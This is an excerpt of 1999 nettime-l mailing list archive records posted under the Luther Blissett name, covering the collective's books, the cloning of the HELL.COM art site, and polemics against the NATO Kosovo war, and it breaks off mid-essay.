                "content": "\n>From l'Unita (Italian left-wing daily paper), 30 April 1999, Friday :\n\nThe affair: \nALL LUTHER BLISSETT'S MYSTERIES\n>From the *Q* breakthrough to the latest book on our republic's plots,\n*Enemies of the State*, an essay on Italian \"emergencies\" from the\nSeventies to these days\n\nby Stefania Scateni\n\n\n\"Luther Blissett represents the power of communication and collective\nintelligence - no copyright can fight him back\". This was the last\nsentence of an early text by the Luther Blissett Project, possibly its\nvery birth certificate, which was published on *Derive Approdi* magazine\nin March 1995. Today, less than five years later, that statement does not\nsound overambitious anymore. Indeed, it has become a mere ascertainment,\nnot only because the group hiding behind the \"Luther Blissett\" multiple\nname has performed several actions of media terrorism (e.g. the creation\nand propagation of false news about inexistent satanic cults - by which LB\negged on a plenty of newspapers) and authored many serious texts (e.g. \nessays against the Italian judiciary), but also because their literary\nwork, the very famous *Q* (Einaudi, pp. 643 - for the first time a major\npublishing house waived copyright on one of their novels!) has been read\nby thousands of readers (the first edition sold 15,000 copies, the second\nsold 10,000 more).  Now, consider that *Q* is not simply a very good\nnovel, exciting and skillfully written - it also has a strongly subversive\npolitical subtext. This throws more light on the counter-cultural value of\nthe whole operation.\n\nAnother Luther Blissett book hit the bookstores just now. It is the\nlatest, maybe the last one, because the Luther Blissett Project, nay, the\nBologna-based group adopting this collective alias, has decided to\ncontinue their journey in another disguise. The book is titled *Enemies of\nthe State: Criminals, \"Monsters\" and Special Laws in the Society of\nControl* (Derive Approdi, pp.282). It is the other side of *Q*, or rather\na sort of handbook for *Q*'s readers. OK, it is less captivating and\ncharming than the novel, because it is a theoretical text filled with\nfootnotes and references, court verdicts and law texts, and certainly it\nis going to remain less popular, and yet it is the same book. I mean it.\nWhile *Q* is an allegory of Blissett's theory and practice, *Enemies of\nthe State* is a more explicit enunciation. Although the two books were not\nauthored by precisely the same members of the collective, \"they both are\nemblematic of our way of investigating and writing\", as LB themselves\nsaid. \n\nLet's try a brief summary of the two \"plots\". *Q* narrates thirty years of\nviolent repression in the Europe of Reformation and Counter-Reformation,\nby the voice of an anonymous dissenter and revolutionary fighter (the last\nman standing after an overwhelming wave of blood and repression) and\nthrough the watchful eyes of \"Q\", a secret agent in the pay of cardinal\nGiovanni Pietro Carafa (i.e. the supreme brain of the Holy Inquisition,\nwho later became Pope Paul IV). The big historical and human fresco\npainted by the novelists shows us all the plots of 16th century politics,\nespecially the alliances between princes, emperors and powerful bankers.\nThe mighty Vatican shadow stretches out on everything: Carafa is always at\nwork to create scapegoats and public enemies, in order to find more and\nmore allies and strengthen the Church's power. \n\n*Enemies of the State* reconstructs thirty years of Italian history in\norder to \"cast new light on some judicial and media mechanisms which link\nthe 1970's emergency laws to today's molecular emergencies. The historical\nsetting is economic globalization, the full restoration of the Catholic\nmodel and the rise of a new constituent power that will dare speak its\nname soon\". The book's \"counter-inquiry\" starts from some stories which\nBlissett tells in order to make mechanisms visible: from the Cossiga Act\n(1980) to the 7th April affair, from the endless preventive detention of\nGiuliano Naria to the judicial persecution of Enzo Tortora, from the\nAnti-mafia season to the \"Clean Hands\" inquiry, down to the latest public\n\"emergencies\", i.e. squatters, pedophiles, satanic cults etc. Luther\nBlissett writes: \"We call 'emergency' a continual re-definition of the\n'public enemy' by the powers-that-be. Thanks to emergencies, so-called\npublic opinion accepts not only the violation, but even the *suspension*\nof all freedoms and rights formally warranted by the constitution and the\ndeclarations of human rights. All this is accepted because the media\ndescribes it as *necessary* in order to defend democracy\".  >From\nterrorism to the Internet, from *molar* to *molecular* emergencies, from\npolitics to culture. In default of a clear conflict between labor and\ncapital, as well as between the society and the state, any conflict can be\nturned into an emergency.. According to Blissett, in the name of the\ndefence of the state, the constitution was torn to pieces, with the\nengagement of intellegence agencies, the alliances between politicians and\nmagistrates, the vicious circle between the media and public prosecutors,\nand the full-time interference of Vatican long hands.  Yes, the thesis is\npretty extreme, and certainly not agreeable, especially when Blissett\ndeals with such complex phenomena as pedophilia. However, what the Luther\nBlissett Project wants to do is giving us a new pair of glasses,\n\"uncomfortable\" glasses to take a new lokk on reality.\n\nI wrote: 'uncomfortable'. In fact, Blissett risks being sentenced to a\nfine of 100 million lira [about $ 53,000] for having caused \"moral damage\"\nto a Bologna magistrate. The court trial is about the scandal provoked by\nBlissett's book *Let The Children... \"Pedophilia\" as a Pretext for a Witch\nHunt*, a pamphlet about the most recent \"emergency\", in which the\ncollective tells the story of Mr. Marco Dimitri and his group \"The\nChildren of Satan\", who were victims of a sensational judicial error. The\npublic prosecutor, Mrs. Lucia Musti, brought a legal action against the\nauthors, for \"defamation\" and \"misuse of the right to critique\". Musti\nasked the Bologna tribunal to seize and destroy all the copies of the\nbook. Before this happened the authors, whose freedom of speech is in\ndanger, made the text freely available on nearly 50 websites [the list is\nat http://www.syntac.net/lutherblissett/url.html, t.n.]. Now censorship\nhas become impossible. \n\nThis is Luther Blissett's force: being ubiquitous, elusive and\nindestructible. The power of the multiple name is a nomadic,\nuncontrollable, rhizomatic power. \"A line, not a dot\". \n\nhttp://www.syntac.net/lutherblissett\n\n\n'Never been to a cinema school, never learnt the cinematographic technique.\nIt's by chance that I entered this profession. Simply, I had the urge to\ncreate something, either a text, either a film, by any means. I wished my\ndesires to come true, for example the desire to kill cops. I cannot do this\nin real life, of course. But in a film I can exterminate a huge number of\ncops all at once. There you are, I started making movies for a very crude\nmotive.' (Koji Wakamatsu)\n\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Wed, 28 Jul 1999 18:39:10 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199907281618.MAA26611 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00108.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Who the fuck is Luther Blissett?"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <12345 {AT} net27.it>",
                "id": "00132",
                "content": "\nopen_source_hell.com\n\n\nwww. HELL.COM was born in 1995 as a conceptual art piece, an anti-web\nthat sold and promoted nothing and was not accessible to the public: a\nsheer b(l)ack hole of the web. For almost three years,\nHELL.COM, a site with no content, never listed in any directory nor\nlinked anywhere, averages of a million hits per month from people typing\nthe name in search engines. It becomes therefore a conteiner for net.art\nsites and art galleries in which is possible to get in only if you are\ninvited and whom list of member s is kept secret; it's what themselves\ncall \"a private parallel web.\" The idea behind HELL.COM is to create a\nlaunching pad for cyber-artists extremly elitist and with badly hidden\nvenal ambitions... a fuckin' museum!\n\nDuring february 1999 HELL.COM organized \"surface\": a show with several\nsuperstar net artists like zuper!, absurd, fakeshop and many more.\nLike all the events by HELL.COM also this one was not available to the\npublic, but was opened exclusively to RHIZOME subscribers.\n\nDuring the 48 hours opening  0100101110101101.ORG downloaded all the\nfiles of the site; the clone has been put on line, this time\nanticopyright,visible, reproducible and freely diffusible and, thanks to\nsome technical devices, even more easily downloadable.\n\nAccording to 0100101110101101.ORG \"the convinction that information must\nbe free is a tribute to the way in which a very good computer  or a\nvalid program work: binary numbers move in accordance with the most\nlogic, direct and necessary way to do their complex function. What is a\ncomputer if not somthing that benefit by the free flow of information? \"\n\nAt the moment the site is on line at the url:\nhttp://www.0100101110101101.ORG/hell.com\nThe situation is constantly changing and nobody knows if and how long\nthe site will remain active; actually HELL.COM has already threatened\nlegal proceedings for copyright violations.\n\n\n\nopen_source_hell.com: http://www.0100101110101101.ORG/hell.com\nHELL.COM: http://www.hell.com\n\n\n\n_____________________________________________________________________\n\nSubject: [7-11] [fwd] WARNING1.0|||COPYRIGHT VIOLATION\nDate: Tue, 11 May 1999 21:14:37 +0200\nFrom: 011101001010110100101111100001001000110101 {AT} 0100101110101101.ORG\nReply-To: 7-11 {AT} mila.ljudmila.org\nTo: 011101001010110100101111100001001000110101 {AT} 0100101110101101.ORG\n\n\n\n\nSubject: WARNING1.0|||COPYRIGHT VIOLATION\nDate: Mon, 10 May 1999 21:42:33 -0700\nFrom: JUSTICE {AT} HELL.com\n\n\n\n\nre:\n\nopen_source_hell.com http://www.0100101110101101.ORG/hell.com\n\ncute...\n\n\n\nplease immediately remove this material from your server\n\nyou are in violation of international copyright laws which are clearly\nposted in the copyright information contained in our source code.\n\nalso of note,\n\nit appears as though you have violated the copyrights of quite a few\nof our members individually:::::::::::::::\n\n\nhttp://www.0100101110101101.ORG\non behalf of these individuals we request that you also remove\nthese materials from your server as well\n\n||||\n\n\nit would make sense to use your \"abilities\"\nto attempt something *original*\n\nJUSTICE {AT} HELL.COM\n\n\n\n\n\nSecurity\\\\\\\\\n\n\n\n\n\n\n\nhttp://HELL.COM\n\n\n\n\n\n\n\n                                                |||||||||||\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Fri, 14 May 1999 02:42:42 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199905140245.DAA05050 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9905/msg00132.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> open_source_hell.com"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00017",
                "content": "\nDown With War Criminals!\nA press release\n\n\nEurope is finished\nQ, p. 643\n\nWe consider the NATO offensive in the Balkans as useless, absurd,\ncriminal and even apocalyptic. Useless, nay, counterproductive: it turned\nSlobodan Milosevic and his cut-throats into unconvincing heroes and\nself-styled opponents of the New World Order, leaving Serbian people with\nno choice but siding with their dictator. Absurd: historical ignorance\nand lack of strategy stirred up a war with dark prospects, in a\ngeopolitical area that worked as incubator for the bloodiest conflicts in\nmodern history. Criminal: while it is dubious that NATO wants to impede\nethnic cleaning, it is certain that they\u0092re ratifying and speeding it up.\n>From Dayton onwards the Western powers have promoted, as a \"solution\" of\nthe Balkan problem, the invention of grotesque mono-ethnic states whose\nborders can hardly be outlined, kept together only by hatred for their\nneighbors.  Apocalyptic: the abovementioned lack of strategy and the\ninexistence of clear political purposes are making a ground attack\nunavoidable, with unimaginable consequences. \n\nIn times like these, it is difficult not to sound rhetoric; you hear your\nown voice and immediately experience a sense of triviality at the bottom\nof your stomach. Yet every passing day of war and carnage, every bunch of\nfalling bombs brings about certainty that we wrote a book abot what\u0092s\ngoing on. *Q* is an epic on the origins of so-called Modernity which\nactually deals with the present, with this epoch, the end of Modernity\nitself. Q\u0092s scenario is XVIth century Europe, a continent swarming with\nreligion wars, characterised by a conflict between old and new powers\n(both of which wave the flag of Faith to cover quite other interests) and\na mercantile integration that crosses borders and overcedes local wars by\nlaunching a new, global one, the war of finance. This Europe is\nconstantly reconstructed by political decisions which are determined by\nGerman bankers. Faith is \"defended\" by mercenary gangs that often abandon\nthemselves to rape and looting, to the detriment of entire populations\nsubject to martial law.  In consequence, columns of fugees leave their\nvillages aflame, as desperate rebellion encounters the solid response of\nboth old dynasties and emerging merchant powers, the usual shitty\nresponse: guns, further war, genocide.  In the end, it is a continent\nover which one man, an emperor whose domain stretches from America to the\nBalkans, tries to impose one order, his own, with support of the most\npowerful bank in the world. \n\nThose pages are about the folly of NATO bombings on towns, factories,\nhouses and people, about escalation to global massacre, about gasoline\nthrown in the fire of ethnic hate, and what\u0092s more, about the\nunbelievable annihilation of intelligence, about this chilling silence.\nFear of bombs in Belgrade and Pristina has an equivalent on this side of\nthe sea, in the fear provoked by the deliberate impotence of these\nmiserable European government celebrating themselves as Socialists, not\nto mention the obtuse faces of intellectuals and opinion leaders, none of\nwhich is able to grasp the meaning of what\u0092s going on.  Indignation is\ngood for nothing. Generic appeals to peace never roused our interest:\nwar, today as four centuries ago, has a very solid raison d\u0092etre, rooted\nin the criminal decisions of states and supernational powers, the United\nStates as well as Charles V\u0092s empire. Ethnic cleanings and retaliations\nhave their reason too, a reason that we reject and oppose, being aware\nthat time won\u0092t stop rewarding with victories and defeats those who keep\nup this struggle, i.e. the only conflict worth enlisting for. These days\nof bloodbath coincide with our Q promotional tour all over Italy. It\nwould immoral and inconsistent with our long-time political praxis not to\nseize this opportunity, that\u0092s why we\u0092re using our paradoxical \"fame\" to\ncensure both the madness of rulers and the apathy of the ruled ones. \n\nThe collective of Q\u0092s \"authors\"\nLuther Blissett Project - Bologna\nApril 1st, 1999\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Fri, 02 Apr 1999 19:09:59 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199904021740.SAA17229 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00017.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Down with war criminals"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00058",
                "content": "\n\nI read with much interest Roya*jakoby's posting about infowar, propaganda\nand, er, \"communication guerrilla\" by the Serbian regime. It is curious\nthat, while many \"skeptical\" postings  were dismissed as \"paranoid rants\",\nthis apparent satire of anti-NATO positions on Nettime wasn't exposed as\npro-Serbian \"black\" propaganda claiming to come from the other side while\ndepicting a charming eulogy of Belgrade's almighty, ultra-clever ministry\nof information. Suggesting that *all* e-mail from Yugoslavia is being\nwritten by intelligence pros (I presume jakoby referred to Insomnia's\ndiary) may be the most brilliant hoax ever pulled by these pros themselves.\nIf I were a Serbian \"ratfucker\", I'd flood list-servs and newsgroups\nprecisely with this kind of messages. \nUnfortunately, I'm afraid jakoby's isn't neither black propaganda nor\nsubtle collaborationism, just flawed \"white\" stuff whose main sub-text is:\nNATO has the exclusive right to media manipulation in the West, no-one but\nUncle Sam should be allowed to fuck with our minds. \nI strongly disagree, I think that what goes around comes around: after\nalmost ten years of bullshitting monopoly, the Pentagon had to face the\nrise of a highly sarcastic (as Ivo Skoric noticed) overt\ncounter-disinformation. It's a karma thing, you know.  \n\nIn one of my previous postings, I incidentally described Slobo (mind you, I\nstill regard him as a fascist sleazebag) as a ' merry prankster'. On the\nsame day, someone phoned the families of all German soldiers quartiered in\nItalian NATO bases, informing them that their beloved ones were just dead\nin the Balkan skies. Headquarters were flooded by desperate callers seeking\nconfirmation.\nFriends made me notice that such black humour was one of Blissett's\ntrademarks in the Project's early years, so I tried to investigate among\nphone pranksters adopting the multi-use name, but my efforts were\nunsuccessful and I had to assume that, although it is a trivial example of\nzero-budget grassroots trashing, it was 100% a Serbian operation. \nAnother example: Yugoslavia let it be known that they aren't at war with\nnobody, as they're victims of  a terrorist aggression, thereby Stone,\nRamirez and Gonzales aren't prisoners of war and can't appeal to\ninternational conventions. This sounds both disturbing and bloody funny.\nWhat did NATO expect, since they pig-headedly kept describing this war as\n\"humanitarian peace-enforcing\" and other euphemisms? No officially declared\nwar, no conventions. Plain and simple. A while later, spokespersons for\nSlobo hinted at western judicial \"guaranteeism\", saying that the martial\ncourt is 'gathering evidence', implying  that S, R & G will have a \"fair\"\ntrial all the same. All the western media can't help but reporting this joke.\n\nBesides this, it seems to me that, since the first day of bombings,\nYugoslavia resorted to counter-manipulation of Western media as a\n\"raspberry\" response to NATO's muscle-flexing, often giving a paradoxical\ntwist and acceleration to the whole game. The best strike is the story of\nthe 'downed' Stealth. Given that no-one from the press was allowed to talk\nto the pilot (or even see him), the Italian media has started to doubt the\nofficial NATO version of that \"crash\". On March 31st Mr. Enrico Mentana,\nchief news-editor at Canale 5 television, said that 'the lack of\n\"transparency\" about this affair reverberates on the whole NATO operation'.\nThe day before, an activist of the Rome-based MIR [Men In Red] group had\nposted the following message on the Italian <movimento {AT} ecn.org> listserv:\n\n'[...] An F-117's can be piloted from the base, with no man aboard. Since\nthe beginning of this war Serbian sources announced at least 3 downings of\nF-117s before the case we know about, and a further one later. NATO always\ndenied. The only difference between these reports and the confirmed one is\nfootage of the downed plane.\nGiven Yugoslavia's permeability by foreign journalism, it wouldn't have\nmade any sense to release fake reports on downed NATO aircraft, doomed to\ndenial [...]\nAs a matter of fact, the only undisputable evidence that a plane was shot\ndown, besides pictures, is the presence of a human pilot aboard. If he\ndies, it will be difficult to keep it hidden. It makes sense to think that\nSerbian anti-aircraft has really shot more aircraft down, which NATO could\neasily deny due to lack of serious consequences, since no pilot was dead.\nPerhaps the Serbs realized how to play the game: they hit the fourth plane,\nthen not only made the images public, but also talked about two captured\npilots. \nSeveral years later, NATO confirmed the shooting down, but stated that the\npilot (one) had been salvaged. \nIt is hard to believe that a NATO helicopter landed in the middle of\nYugoslavian territory, 30 kms. from Belgrade, while the pride of US air\nforce was knocked off at flying height. It is even harder to believe that\nthe helicopter arrived before the Serbian \"militias\" controlling that\nterritory [...] This is unconvincing fiction.\nThe shocking truth may be: there was no pilot aboard the Stealth, and if\nserbian reports are true and other planes were shot down, there may be no\nhuman being aboard the aircraft bombing Yugoslavia.\nThink of it: while civilians are dying, no military man is really putting\nhis life on the line; these \"heroes\" are simply playing some sort of\ncyi\u011bnic videogame.'\n\nSomeday we'll find out the truth. If it coincides with MIR's supposition,\nhistorians will give to Caesar what is Caesar's, and regard this prank as a\ntowering achievement of Milosevic's infowar, no matter if he is and will\nalways be a filthy mind-fucker.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Sat, 03 Apr 1999 22:46:02 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199904032047.VAA02065 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00058.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> The downed Stealth and other Serbian pranks"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00269",
                "content": "\n> From: lop1912 {AT} iperbole.bologna.it\n> Data: Wed, 14 Apr 1999 23:56:14 +0200\n>\n> This text will be published in the next issue of Tempos, due for release on\n> the 20th of April 1999 at:\n>  <http://www.mediaevo.com/tempos>http://www.mediaevo.com/tempos\n>\n>  Franco Berardi Bifo\n>\n>  Europe, the stillborn ideal\n>\n>  \"People never rave about their mothers, they rave about nations, borders,\n> ethnic groups, race, class\u0085 in the last couple of years everyone (myself,\n> the Pope, Milosevic, Emma Bonino and Marc Dutroux included) have all taken\n> to raving about Europe.\n>  Europe does not exist, a fact which is hardly worth shedding a tear over.\n> Identity is always and only something that has already been lost (or better\n> still, something we thought we had) and the more we go on about Europe,\n> \u0093Europeanism\u0094, European Culture, etc. the further the spectre retreats into\n> the shadows. We have all been taken for the biggest ride on record; a\n> united Europe: the Bundesbank, FMI, Pensiero Unico, ENFOPOL and American\n> bases all over the place.\" (luther blissett)\n>\n>  The empire of catastrophe, national communism and the end of century\n> identity disease\n>\n>  Kosovo Polje, 1989. While the empire of Evil collapses, the empire of\n> catastrophe takes its place.\n>  The empire of catastrophe is the gospel according to aggressive identity\n> affirmation; the bloody ghouls, People, Nation and Race are back to haunt\n> us again.\n>  In the 1900s, what was wrongly referred to as communism, proved to be a\n> powerful bastion of archaic resistance (feudal, bureaucratic, military and\n> nationalistic) against the dynamic innovations of capitalism and against\n> the trend towards globalisation that can be seen right from the beginning\n> of the century.\n>  One day the true story of these regimes has to be told, the story of these\n> ultra reactionary twentieth century regimes and how they usurped the title\n> of communism: the regime in Russia that placed absolute power in the hands\n> of the army, the police bureaucracy and the orthodox church; the regime in\n> China that shored up the power of the mandarin class, the regime in\n> Yugoslavia that let the military caste and priests of various denominations\n> (but principally that of the orthodox church) take control.\n>  It is now clear that these regimes played the same role as fascism in\n> Italy or nazism in Germany and their main aims were to contain the dynamic\n> innovations of capitalism, to protect national identity from nomadic\n> deterritorialisation resulting from technological breakthrough, to snuff\n> out any unidentified sparks of life and to impose the shackles of family,\n> nation and state.\n>\n>  Slobodan Milosevic is an excellent example of a figure who succeeded in\n> uniting the bureaucratic class, who had denied freedom of movement to\n> entire populations, preferring to incarcerate them in cells of social\n> conservation and ideological dogmatism, and the nationalistic military\n> class who had seized power, a pattern recurrent in most of the ex communist\n> countries.\n>  In 1989, Kosovo Polje, witnessed the birth of end of century national\n> communism. National communism is the synthesis of the worst aspects of the\n> socioauthoritarian tradition (dogmatism and dictatorship, without the\n> trappings of social egalitarianism, in other words a version similar to\n> that consecrated in the massacre of Tien an Men square in the same year),\n> with the aggressive re-emergence of nationalistic and ethnic\n> identification, a process parallel to that of the Islamic world in 1979, of\n> neo Hinduist India in the 1990s and of Christian fundamentalist America.\n>  Historical communism at least had the saving grace of universal size. End\n> of century national communism is nothing more than another fundamentalist\n> regime to add to the list. It has less archaic depth, less power of\n> imagination, more atomic armaments, more conventional weapons and a higher\n> degree of segregation.\n>\n>  From Kronstadt to Sarajevo\n>\n>  Let us have a brief look at the history of the ten year war in Yugoslavia.\n> The country was created in a series of stages starting >from the Serbian\n> Nationalist uprising of 1989. The Germanic revolt and the catholic church\n> then stirred up the fire of Croatian secessionism.\n>  It is important not to forget that the horror of the Serbo-Croatian war\n> was created under the auspices of both Woytila and Kohl and that they have\n> Vukovar on their conscience just as much as Milosevic and Ratko Mladic do.\n>  After this came the war in Bosnia and the protracted agony of Sarajevo.\n> Sarajevo is of immense importance, because it was there that Europe fell,\n> along with the hope and dignity of modern civilisation. Sarajevo had a\n> population of five hundred thousand people, today only two hundred and\n> fifty thousand are left. Fifty thousand are dead, massacred by Karadzijc\u0092s\n> snipers. Sarajevo was the city of interracial harmony, the city that\n> represented the dignity of the human race, the city where no one was\n> excluded.\n>  Sarajevo was the token of human solidarity. So why did the \u0093international\n> community\u0094 do nothing to help? At the time, a number of people, who no one\n> (without running the risk of seeming ridiculous) could accuse of war\n> mongering, begged Europe, the USA, ONU, and NATO, to intervene.\n>  Why was not a single bomber sent to intervene then? Was it because, at the\n> time, Milosevic was considered to be a reasonable person? Why was Sarajevo\n> left to its fate?\n>  There are those who oppose humanitarian interference in the name of\n> national sovereignty. What a shit-ass expression national sovereignty is.\n> It is forever on the lips of people like Cosutta, the epitome of a\n> murderer\u0092s slimy sidekick, if ever there was one. Cossutta wasn\u0092t around in\n> 1921, but you can bet your bottom dollar that if he had been, he would have\n> been all for the Bolshevik extermination of the communards at Kronstadt. He\n> was around in 1956 and 1968 enthusiastically supporting the use of tanks to\n> quell the student uprisings in Moscow and the factory workers in Budapest\n> and Prague. He is currently breaking all records by paying lip service to\n> the assassin Milosevic while simultaneously supporting the murderers\n> taxiing down the runway at Aviano. It is his vote that sustains the\n> government which continues to give carte blanche to the bombers.\n>  A person such as Cossutta opposes the bombing in the name of national\n> sovereignty and yet this is like opposing lightning in the name of thunder\n> or opposing the effect in the name of the cause.\n>  At Sarajevo, the conflict between national sovereignty and human\n> solidarity was so clear that now there can be no doubt that the nation\n> takes over where humanity leaves off. Humanity cannot stand up straight\n> until it has thrown off the chains of nationalism, the bonds of membership.\n> Humanity did not manage to free itself from nationalism even after Hitler.\n> The rhetoric of the post second world war years is full of appeals to the\n> nation and the people and the results of this are what we are witnessing\n> today.\n>\n>  Why did they do this?\n>\n>  Why did Europeans and Americans let Karadzijc\u0092s fascists kill fifty\n> thousand people in Sarajevo without raising a finger, and yet now they\n> choose to intervene in the Kosovo? Why did NATO decide on such a demented\n> course of action as that undertaken on the 24th of March 1999?\n>  You do not need to be a military expert to realise that NATO politics in\n> the Kosovo are complete folly. To begin with, they chose to support the\n> Kosovo Liberation Army, an aggressive, nationalistic group linked to the\n> mafia of Berisha, thus isolating the followers of Ibrahim Rugova, a group\n> that has been struggling to avoid bloodshed for the last ten years. In the\n> end this decision catalysed an offensive whose inevitable (and predictable)\n> effects could never have been anything other than what we have seeing on\n> our TV screens. In a year the Serbian military machine massacred 2000\n> Kosovites, in a week it massacred ten times that number. NATO then launched\n> its own offensive and its first move was to strike down the very wretches\n> it was supposed to be protecting. The cover of the Economist from the first\n> week in April shows an ageing Kosovite crying desperately, and the\n> superimposed question he asks himself is: Victim of Serbia - or NATO?\n>  Why did they do this? Are the political and military leaders of Nato all\n> out and out sadists or idiots?\n>  Even if I wouldn\u0092t readily discount their idiocy, I think that the real\n> reason lies elsewhere.\n>\n>  Over the past year American foreign policy has undergone a substantial\n> change. From 1989 onwards, arms expenditure has been reduced drastically\n> and with the cold war at an end government finances moved from military to\n> civil research. The 90s however did not turn out to be the decade of peace\n> that the new liberal ideology had predicted. In 1993, in a book entitled\n> Out of control, (published in Italy by Longanesi) Zbignew Brezinski speaks\n> of a future, dominated by an escalation of regional conflict and planetary\n> civil war.\n>  The United States has turned out to be a complete failure at a global\n> level. Saddam Hussein emerged the victor of his war, the blueprint of a\n> host of other battles, and ten years after the bombing of Baghdad continues\n> to tyrannise and murder Curds, Shiites and various other dissidents. US\n> intervention in Somalia, another fiasco, finished in hasty retreat. The\n> allied Afghan forces financed by the USA to undermine the USSR have\n> established one of the most horrendously inhumane regimes imaginable. The\n> mentally unstable son of Kim il Sung continues to launch missiles and build\n> up his stock of atomic armaments while in the last five years as many as\n> three million North Koreans have died of hunger, not perhaps quite the new\n> order the Americans had in mind.\n>  At this point, American foreign policy has had to make a choice: either to\n> adopt an isolationist policy, to retreat, leaving Eurasia to sink into the\n> slough of its increasingly powerful, age old conflicts, or to crank up the\n> American arms industry and increase the technological expertise of the\n> American military machine.\n>  The isolationist policy is rather weak: how could America possibly turn\n> its back on Middle Eastern and Central Asiatic oil resources and how could\n> America possibly forget that these archaic fundamentalist groups are all\n> equipped with nuclear weapons?\n>  In early 1999, President Clinton, who as a young man refused to fight in\n> the Vietnam war, announced that American military expenditure would return\n> to the same level as that under president Reagan. For those who delight in\n> the machinations of behind the scene politics, it is not difficult to\n> imagine the price that the American lobby demanded of Clinton in exchange\n> for resolving the despicable case set in motion by judge Kenneth Starr.\n>\n>  Europe, the land of bankers and corpses\n>\n>  So now it is the turn of Europe to take the stage. This new born financial\n> power begins to contemplate the possibility of a united army, an army that\n> could one day challenge the monopoly of the American military lobby on\n> global warfare.\n>  The American arms industry lobby cannot possibly allow this to happen. The\n> European risk must be dispensed with and this is where the Kosovo fits in.\n>  Pandemonium and chaos are unleashed in the name of humanitarianism. In\n> order to protect the Albanian population, a criminal force is sent to\n> exterminate and deport them. In the midst of this confusion, Europe is\n> forced to take the front line and those who govern behave like torpid\n> puppets, void of the slightest trace of dignity.\n>  A marginal aspect of the disaster that is taking place, is that the dazed\n> actors involved in this tragedy are those were twenty years old in 1968.\n> Now, they are nothing more than presumptuous cretins who have lost any\n> right to exist and yet refuse to step down from the stage they conquered\n> all those years ago in the name of utopia and justice. These ageing cynics\n> are willing to turn their hands to actions as vile as this to cling onto\n> the positions they have gained.\n>  The idealism of the 1968 revolt has sunk under the waves of hypocrisy and\n> egotism.\n>  The generation of \u009268 is no more; it has been lost in the inhuman lust for\n> power, in its lies and in its violence.\n>\n>  If there is any logic at all behind the Easter war, it is this: the North\n> American industrial military machine has defused any threat that Europe may\n> have constituted in political and military terms. It has succeeded in\n> forcing Europe to take part in a suicidal war that can only end in\n> humiliation and defeat, a war in which the worst instincts of the European\n> nations will be rekindled.\n>  The war in the Kosovo is only part of a vast puzzle of interlocking\n> pieces. The antagonism between Turkey and Greece, the war between the Turks\n> and the Curds, the labyrinthine Caucasian conflict. The war between Iran\n> and Iraq, between Pashtun and Tajik in Afghanistan, between India and\n> Pakistan. The entire Eurasian continent is immersed in low profile wars\n> that regularly explode into unspeakable violence and continue to establish\n> the disturbing threat of the capacity for mass extermination.\n>  This is the powder keg into which the Kosovo, with a lighted match in its\n> hand, could easily blunder.\n>\n>  Europe is a stillborn ideal. It is now little more than a secondary\n> element tacked onto a NATO initiative and will never be able to act\n> independently. The link between the ancient world and the post modern has\n> been smashed.\n>  At the risk of repeating myself I feel it is important to underline this\n> point: Europe is the link that joins the continent of past identity, the\n> continent of the vile history of archaism and modernisation, to America,\n> the continent with no history, the continent that is free from archaic\n> fundamentalism, free to construct all the synthetic, fake fundamentalisms\n> it chooses.\n>  Europe is the link between history and technology, between the root and\n> the expedient.\n>  This is the link that has been broken.\n>\n>  A macabre screenplay\n>\n>  The screenplay to the 21st century has begun to unravel.\n>  Globalisation has nothing to do with the homologizing of human society. On\n> the contrary it institutes a profound and lasting duality in planetary\n> society.\n>  Five or ten per cent of the human race make up the virtual class, enclosed\n> in the info-economic system CAORBINT (interconnected orbiting capsules),\n> and somewhere way below, on planet Territory, planetary civil war becomes\n> the main driving force behind the material economy.\n>  The virtual class and civil war have no geographical boundaries, they are\n> not territorial functions: Bangalore plays no part in the virtual circuit,\n> whereas South Central Los Angeles is part of planet Civil War.\n>  Therefore, even if it is easy to foresee that Eurasia is the continent\n> where the collapse of archaic territorialism will remain predominant, in\n> America it is the virtual economy that will prevail. Either Europe can\n> function as the link and point of dynamic interchange between these two\n> worlds or be smashed and swept up by one 